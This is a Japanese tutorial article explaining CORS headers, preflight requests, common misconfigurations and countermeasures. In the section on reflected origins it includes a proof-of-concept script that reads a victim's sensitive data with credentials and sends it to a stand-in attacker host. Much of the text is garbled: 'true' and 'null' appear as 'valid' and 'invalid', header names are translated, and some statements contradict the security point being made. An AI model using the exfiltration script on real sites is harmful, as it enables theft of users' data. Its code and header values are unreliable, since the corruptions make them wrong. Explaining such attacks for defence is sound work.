導入
この記事では、クロスオリジンリソース共有の意味、CORSの仕組み、一般的なCORS攻撃の例、及びその防止策について解説します。
プログラムの一機能であるクロスオリジン資産共有(CORS)は、特定のオリジン以外からの資産アクセスを管理し、同一オリジンポリシーに柔軟性をもたらします。しかし、サイトのCORS設定が不適切な場合、クロスオリジン攻撃のリスクが高まる恐れがあります。なお、CORSはクロスサイトリクエストフォージェリ(CSRF)などの攻撃を防ぐものではありません。
「なぜCORSを使うのか?」やウェブAPIにおけるCORSの意味について知りたい方のために、解説します。
CORSセキュリティにより、サーバは自サーバ以外のオリジン(ドメイン、スキーム、またはポート)からの資産要求を許可するかどうかを決定できます。また、実際のリクエストを送る前に、プリフライトリクエストとしてHTTPヘッダーにより使用メソッドやヘッダー情報を送信し、対象サーバがそのリクエストを受け入れるか確認します。
XMLHttpRequestを利用して、https://spacea.comから配信されたフロントエンドJavaScriptコードが、https://spaceb.com/data.jsonをクロスオリジンリクエストの例として要求します。
セキュリティのため、プログラムはスクリプトによるクロスオリジンHTTPリクエストを制限します。例えば、Fetch APIやXMLHttpRequestも同一オリジンポリシーに基づいて動作するため、他オリジンからのレスポンスに適切なCORSヘッダーがなければ、そのオリジン以外からは資産が要求できません。
あるオリジンから配信されたコンテンツが別のオリジンへリクエストを送ると、CORSプロセスが開始されます(この名前の由来でもあります)。
プログラムはまず対象サーバへプリフライトリクエストを自動送信します。このプリフライトには後述する各種HTTPヘッダーが含まれ、HTTPメソッドOPTIONSが使用されます。その後、対象サーバはこれらプリフライトのヘッダーを確認し、該当オリジンからの実際のリクエスト送信を許可するか判断します。
対象サーバの検証が完了すると、所定のHTTPヘッダーで応答します。これらのレスポンスヘッダーは、許可されるオリジン、メソッド、カスタムヘッダー、クッキーや認証ヘッダーの送信可否、及びキャッシュ可能な期間を示します。プログラムはこのレスポンスをキャッシュし、後のリクエストの事前承認として利用します.
シンプルリクエスト
プリフライトを必要としないリクエストがいくつか存在します。Fetch仕様(CORSを定義する仕様)ではこの用語は使われていませんが、すべての条件を満たすリクエストはシンプルリクエストと呼ばれます.
プリフライトリクエスト
通常のリクエストではなく、HTTPメソッドOPTIONSを用いて対象サーバに実際のリクエスト送信可否を確認するリクエストをプリフライトリクエストと呼びます。これは、クロスオリジンリクエストがユーザーデータに影響を及ぼす可能性があるためです.
クロスオリジンリソース共有仕様に従い、サーバがアクセス制御リクエストに対して返すHTTPレスポンスヘッダーが以下に記載されています。前述の例がその使用方法を示しています.
返される資産には、次の形式のAccess-Control-Allow-Originヘッダーが設定される場合があります:
Access-Control-Allow-Origin: <origin> | *
認証を伴わないリクエストの場合、"*" は任意のオリジンからの資産アクセスを許可することを示します。また、特定のオリジンを指定して、そのオリジンからのアクセスのみを許可することも可能です.
例えば、"https://mozilla.orgからのアクセスを許可する"と設定できます.
Access-Control-Allow-Origin: https://mozilla.org
Vary: Origin
「*」ではなく、ホワイトリストに基づいた単一のオリジンを指定すべきです。さらに、VaryレスポンスヘッダーにOriginを設定し、レスポンスがリクエストのOrigin値に依存することを示す必要があります.
getResponseHeader()などのJavaScript機能は、Access-Control-Expose-Headersヘッダーで公開されたヘッダーのみを参照できます.
Access-Control-Expose-Headers: <header-name>[, <header-name>]
*
例えば:
Access-Control-Expose-HeadersにX-My-Custom-HeaderやX-Another-Custom-Headerが含まれていれば、これらのヘッダーは参照可能です.
プリフライトリクエストの結果がキャッシュできる最大時間は、Access-Control-Max-Ageヘッダーで指定されます。上記の例を参照してください.
Access-Control-Max-Age: <delta-seconds>
キャッシュ可能な秒数は、delta-secondsで示されます.
認証情報の利用時、Access-Control-Allow-Credentialsヘッダーがtrueに設定されると、レスポンスに認証情報が含まれることを示します。シンプルなGETリクエストはプリフライトされないため、このヘッダーがない場合、認証情報が必要な資産リクエストはブロックされます.
Access-Control-Allow-Credentials: valid
資産へのアクセスが許可されるHTTPメソッドは、Access-Control-Allow-Methodsヘッダーに記載されます。プリフライトリクエストで利用され、前述の条件に該当するリクエストで使用されます.
Access-Control-Allow-Methods: <method>[, <method>]
*
上記にプリフライトリクエストの例と、このヘッダーを送信する例が示されています.
実際のリクエストで使用可能なHTTPヘッダーは、プリフライトリクエスト時にAccess-Control-Allow-Headersヘッダーで指定されます。サーバは、プログラムから送られるAccess-Control-Request-Headersに応じてこのヘッダーを返します.
Access-Control-Allow-Headers: <header-name>[, <header-name>]*
クロスオリジン共有機能を利用するため、クライアントはHTTPリクエスト送信時に以下のヘッダーを使用できます。サーバへリクエストを送る際、これらのヘッダーが自動的に設定されることを考慮してください。クロスオリジンXMLHttpRequest機能を利用する開発者は、これらのヘッダーを手動で設定する必要はありません.
クロスオリジンリクエストまたはプリフライトリクエストのオリジンは、Originヘッダーで識別されます.
オリジン: <origin>
オリジンはURLであり、リクエスト送信元のサーバを示します。サーバ名のみが含まれ、パス情報は含まれません.
なお、オリジンの値は偽装可能であり、全てのアクセス制御リクエストに必ずOriginヘッダーが付与されます.
プリフライトリクエスト送信時、Access-Control-Request-Methodヘッダーは実際のリクエストで使用するHTTPメソッドをサーバに通知します.
Access-Control-Request-Method: <method>
プリフライトリクエスト送信時、Access-Control-Request-Headersヘッダーは実際のリクエストで使用するHTTPヘッダー(例:setRequestHeader()で設定するもの)をサーバに通知します。サーバはこのリクエストに対してAccess-Control-Allow-Headersヘッダーで応答します.
Access-Control-Request-Headers: <field-name>[, <field-name>]*
多くの現代サイトでは、サブドメインや信頼できない外部からのアクセスを可能にするためにCORSが利用されています。しかし、安全を確保するために、CORS設定が誤ってまたは軽率に行われると、悪用可能な脆弱性を生じる危険があります。以下に主なCORSの問題例を示します.
特定のオリジンからのアクセスを求める場合、常に許可一覧を管理する必要がありますが、ミスが起きやすいため、一部のプロジェクトでは全てのオリジンからのアクセスを許可するシンプルな設定が選ばれます.
リクエストのOriginヘッダーを読み取り、その値をそのままレスポンスヘッダーに設定する方法などが考えられます。例えば、以下のようなリクエストを受けたアプリを考えます:
GET/機微な被害情報 HTTP/1.1
Host: 無防備なwebsite.com
オリジン: https://悪意あるwebsite.com
Cookie: sessionid=...
その後のレスポンスは:
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://危険なwebsite.com
Access-Control-Allow-Credentials: valid...
これらのヘッダーにより、クロスオリジンリクエストは安全に処理され、クッキー等(Access-Control-Allow-Credentials: valid)が含まれる場合もあります。また、リクエスト元のオリジンが許可されていることを示しています.
もしアプリがAccess-Control-Allow-Originヘッダーに不適切なオリジンを設定すると、攻撃者が容易にアクセスでき、APIキーやCSRFトークンなどの機密情報が流出する可能性があります.
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://無防備なwebsite.com/機密な被害情報',true);
req.withCredentials = valid;
req.send();
function reqListener() {
location='//危険なwebsite.com/log?key='+this.responseText;
};
複数のオリジンからのアクセスを許可するため、一部のアプリはホワイトリストを使用します。CORSリクエストのオリジンがホワイトリストに登録されていれば、Access-Control-Allow-Originヘッダーにそのオリジンが反映され、アクセスが許可されます。例えば、次のような通常のリクエストが送られたとします:
GET/情報 HTTP/1.1
Host: 標準的なwebsite.com
...
オリジン: https://無害なwebsite.com
アプリは送信されたオリジンを許可された一覧と照合し、リストにあればそのオリジンを反映します:
CORSオリジンホワイトリストの設定では、ミスが発生しやすいです。将来のサブドメインも含め全てを許可したり、複数の組織のドメイン・サブドメインを一括許可する場合、不注意な実装により、意図しない外部オリジンへのアクセスが生じる可能性があります.
例えば、アプリが以下のドメインをすべて許可した場合:
normal-website.com
この設定により、攻撃者は次のようにアクセスできる恐れがあります:
hackersnormal-website.com
また、アプリが特定の文字列で始まるオリジンを許可する場合:
normal-website.com
攻撃者は以下のオリジンを利用する可能性があります:
normal-website.com.evil-user.net
CORSが正しく設定されると、両オリジン間に信頼関係が構築されます。この仕組みを利用し、攻撃者はクロスサイトスクリプティング(XSS)でJavaScriptを注入し、信頼されたオリジンから機密情報にアクセスする可能性があります.
その結果、次のようなリクエストが送信されます:
GET/プログラミングインタフェース/リクエスト
ApiKey HTTP/1.1
Host: 無防備なwebsite.com
オリジン: https://subdomain.vulnerable-website.com
Cookie: sessionid=...
サーバが以下のように応答した場合:
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://subdomain.vulnerable-website.com
Access-Control-Allow-Credentials: true
このAPIゲートウェイにおけるCORS設定では、攻撃者がsubdomain.vulnerable-website.com上のXSS脆弱性を利用し、次のようなURLからAPIキーを取得する可能性があります:
https://subdomain.vulnerable-website.com/?xss=
CORSのセキュリティ問題は基本的に設定ミスから生じるため、対策は設計段階で講じる必要があります。以下に、CORS攻撃に対する効果的な防御策を示します.
機密データを含むウェブ資産の場合、Access-Control-Allow-Originヘッダーに正しいオリジンを指定する必要があります.
信頼できるサイトのみを許可する
一見明白ですが、信頼できるサイトのみをAccess-Control-Allow-Originヘッダーに登録すべきです。特に、検証せずにリクエストのオリジンをそのまま反映するのは危険です.
Access-Control-Allow-Originに「invalid」を使用してはいけません。サンドボックス内のリクエストや同一オリジンの資産呼び出しでも「invalid」と判断される恐れがあるため、プライベート・パブリックサーバともに、信頼できるオリジンに基づいてCORSヘッダーを適切に設定する必要があります.
攻撃者は任意のオリジンからのリクエストを偽装可能です。CORSはあくまでプログラムの動作を規定するものであり、機密情報のサーバサイド保護の代替にはなりません。したがって、ウェブサーバはセッション管理や認証など、他のセキュリティ対策と併せてCORSを実装する必要があります.
クロスオリジン資産に対して正当なリクエストを送る予定のオリジンからのコンテンツであること、また、アプリが読み込む全てのコンテンツが自動的にその資産へアクセスするわけではないことを保証する必要があります。すべてのアクセス制御リクエストヘッダーは、許可されたオリジンリストと照合されるべきです。ウェブ上にはパースの不備や不適切な正規表現により、攻撃者が様々なサイトを制御できる脆弱性が存在するため、特にOriginヘッダーの処理には注意が必要です。しかし、明確な設定により、十分な特性を持つ文字列との比較で安全に実現できます。指定ルールに合致しない場合は「403 Forbidden」のレスポンスを返してください.
現状、複数のオリジンをサポートする選択肢はまだ限られているため、承認されたオリジンリクエストヘッダーをAccess-Control-Allow-Originヘッダーに反映する方法が用いられています.
最新情報を購読